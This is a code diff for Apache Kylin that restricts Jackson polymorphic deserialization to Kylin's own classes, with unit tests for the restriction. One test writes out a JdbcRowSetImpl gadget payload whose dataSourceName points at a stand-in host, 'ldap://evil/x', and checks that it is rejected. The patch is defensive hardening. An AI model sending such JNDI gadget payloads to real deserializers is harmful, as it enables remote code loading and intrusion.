diff --git a/src/common-service/src/main/java/org/apache/kylin/rest/config/AppConfig.java b/src/common-service/src/main/java/org/apache/kylin/rest/config/AppConfig.java index fffb25458a3..97680aea12c 100644 --- a/src/common-service/src/main/java/org/apache/kylin/rest/config/AppConfig.java +++ b/src/common-service/src/main/java/org/apache/kylin/rest/config/AppConfig.java @@ -27,6 +27,7 @@ import org.apache.commons.lang3.StringUtils; import org.apache.kylin.common.util.DefaultHostInfoFetcher; import org.apache.kylin.common.util.HostInfoFetcher; +import org.apache.kylin.common.util.JsonUtil; import org.apache.kylin.common.util.TimeUtil; import org.apache.kylin.rest.cluster.ClusterManager; import org.apache.kylin.rest.cluster.DefaultClusterManager; @@ -189,6 +190,7 @@ public void addResourceHandlers(ResourceHandlerRegistry registry) { public ObjectMapper getObjectMapper() { ObjectMapper objectMapper = new ObjectMapper(); objectMapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); + objectMapper.setPolymorphicTypeValidator(JsonUtil.KYLIN_TYPE_VALIDATOR); FilterProvider filterProvider = new SimpleFilterProvider().addFilter("passwordFilter", SimpleBeanPropertyFilter.serializeAllExcept("password")); diff --git a/src/core-common/src/main/java/org/apache/kylin/common/util/JsonUtil.java b/src/core-common/src/main/java/org/apache/kylin/common/util/JsonUtil.java index 32a85dd05e1..7d2a8159f31 100644 --- a/src/core-common/src/main/java/org/apache/kylin/common/util/JsonUtil.java +++ b/src/core-common/src/main/java/org/apache/kylin/common/util/JsonUtil.java @@ -52,6 +52,8 @@ import com.fasterxml.jackson.databind.SerializationFeature; import com.fasterxml.jackson.databind.node.ArrayNode; import com.fasterxml.jackson.databind.node.ObjectNode; +import com.fasterxml.jackson.databind.jsontype.BasicPolymorphicTypeValidator; +import com.fasterxml.jackson.databind.jsontype.PolymorphicTypeValidator; import com.fasterxml.jackson.databind.ser.impl.SimpleFilterProvider; import com.fasterxml.jackson.databind.type.TypeFactory; import com.fasterxml.jackson.databind.util.LRUMap; @@ -65,6 +67,11 @@ public class JsonUtil { private static final SimpleFilterProvider simpleFilterProvider = new SimpleFilterProvider() .setFailOnUnknownId(false); + // restrict classes loadable via @JsonTypeInfo(Id.CLASS) ids (Event, SegmentRange, ...) + // to Kylin's own types, blocking deserialization gadget attacks + public static final PolymorphicTypeValidator KYLIN_TYPE_VALIDATOR = BasicPolymorphicTypeValidator.builder() + .allowIfSubType("org.apache.kylin.").build(); + static { LookupCache cache = new LRUMap<>(16, 2000); TypeFactory customTypeFactory = TypeFactory.defaultInstance().withCache(cache); @@ -74,11 +81,13 @@ public class JsonUtil { mapper.setFilterProvider(simpleFilterProvider); mapper.setTypeFactory(customTypeFactory); mapper.registerModule(new GuavaModule()); + mapper.setPolymorphicTypeValidator(KYLIN_TYPE_VALIDATOR); indentMapper.configure(SerializationFeature.INDENT_OUTPUT, true) .setConfig(indentMapper.getSerializationConfig().withView(PersistenceView.class)); indentMapper.setFilterProvider(simpleFilterProvider); indentMapper.setTypeFactory(customTypeFactory); indentMapper.registerModule(new GuavaModule()); + indentMapper.setPolymorphicTypeValidator(KYLIN_TYPE_VALIDATOR); } public static ArrayNode createArrayNode() { diff --git a/src/core-common/src/test/java/org/apache/kylin/common/util/JsonUtilPolymorphicTypeTest.java b/src/core-common/src/test/java/org/apache/kylin/common/util/JsonUtilPolymorphicTypeTest.java new file mode 100644 index 00000000000..e896326178b --- /dev/null +++ b/src/core-common/src/test/java/org/apache/kylin/common/util/JsonUtilPolymorphicTypeTest.java @@ -0,0 +1,41 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.kylin.common.util; + +import org.apache.kylin.common.persistence.event.Event; +import org.apache.kylin.common.persistence.event.ResourceDeleteEvent; +import org.junit.Assert; +import org.junit.jupiter.api.Test; + +import com.fasterxml.jackson.databind.exc.InvalidTypeIdException; + +public class JsonUtilPolymorphicTypeTest { + + @Test + public void testKylinEventSubTypeAllowed() throws Exception { + String json = JsonUtil.writeValueAsString(new ResourceDeleteEvent("PROJECT/p1")); + Event event = JsonUtil.readValue(json, Event.class); + Assert.assertTrue(event instanceof ResourceDeleteEvent); + } + + @Test + public void testNonKylinClassIdRejected() { + String json = "{\"@class\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://evil/x\"}"; + Assert.assertThrows(InvalidTypeIdException.class, () -> JsonUtil.readValue(json, Event.class)); + } +}